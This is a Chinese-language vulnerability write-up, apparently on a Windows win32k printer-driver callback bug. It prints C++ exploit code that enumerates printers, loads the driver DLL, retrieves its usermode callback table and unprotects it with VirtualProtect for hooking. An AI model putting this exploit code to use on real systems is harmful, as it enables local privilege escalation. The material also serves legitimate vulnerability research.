同之前分析的win32k漏洞不同,这里回调函数的提供是打印机程序,一般来说总有个默认的、名为Microsoft Print to PDF的打印机
这里我们得先找到打印机及其回调表
boolfindPrinters(DrvEnablePDEV_t hookfunc){ DWORD pcbNeeded, pcbReturned, lpflOldProtect, _lpflOldProtect; EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned); if (pcbNeeded <= 0) { puts("[-] Failed to find any available printers"); returnfalse; }
std::vector<PRINTER_INFO_4W> pPrinterEnum(pcbNeeded); auto res = EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum.data(), pcbNeeded, &pcbNeeded, &pcbReturned); if (res == false || pcbReturned <= 0) { puts("[-] Failed to enumerate printers"); returnfalse; }
for (size_t i = 0; i < pcbReturned; i++) { auto printerInfo = &pPrinterEnum[i];
printf("[*] Using printer: %ws\n", printerInfo->pPrinterName); // Open printer res = OpenPrinterW(printerInfo->pPrinterName, &hPrinter, NULL); if (!res) { puts("[-] Failed to open printer"); continue; }
printf("[+] Opened printer: %ws\n", printerInfo->pPrinterName); printerName = _wcsdup(printerInfo->pPrinterName);
// Get the printer driver GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded); std::vector<DRIVER_INFO_2W> driverInfo(pcbNeeded);
res = GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo.data(), pcbNeeded, &pcbNeeded); if (res == FALSE) { printf("[-] Failed to get printer driver\n"); continue; }
// Load the printer driver into memory auto hModule = LoadLibraryExW(driverInfo[0].pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); if (hModule == NULL) { printf("[-] Failed to load printer driver\n"); continue; }
} returntrue; }
这是为了找到打印机驱动相关DLL的路径,便于hook
接着加载驱动得到函数并调用
// Load the printer driver into memory auto hModule = LoadLibraryExW(driverInfo[0].pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); if (hModule == NULL) { printf("[-] Failed to load printer driver\n"); continue; }
DrvEnableDriver_t DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hModule, "DrvEnableDriver"); VoidFunc_t DrvDisableDriver = (VoidFunc_t)GetProcAddress(hModule, "DrvDisableDriver"); if (DrvEnableDriver == NULL || DrvDisableDriver == NULL) { printf("[-] Failed to get exported functions from driver\n"); continue; }
// Call DrvEnableDriver to get the printer driver's usermode callback table res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);
if (res == FALSE) { printf("[-] Failed to enable driver\n"); continue; }
puts("[+] Enabled printer driver");
获得回调函数表地址后进行hook
// Unprotect the driver's usermode callback table, such that we can overwrite entries res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect); if (res == FALSE) { puts("[-] Failed to unprotect printer driver's usermode callback table"); continue; }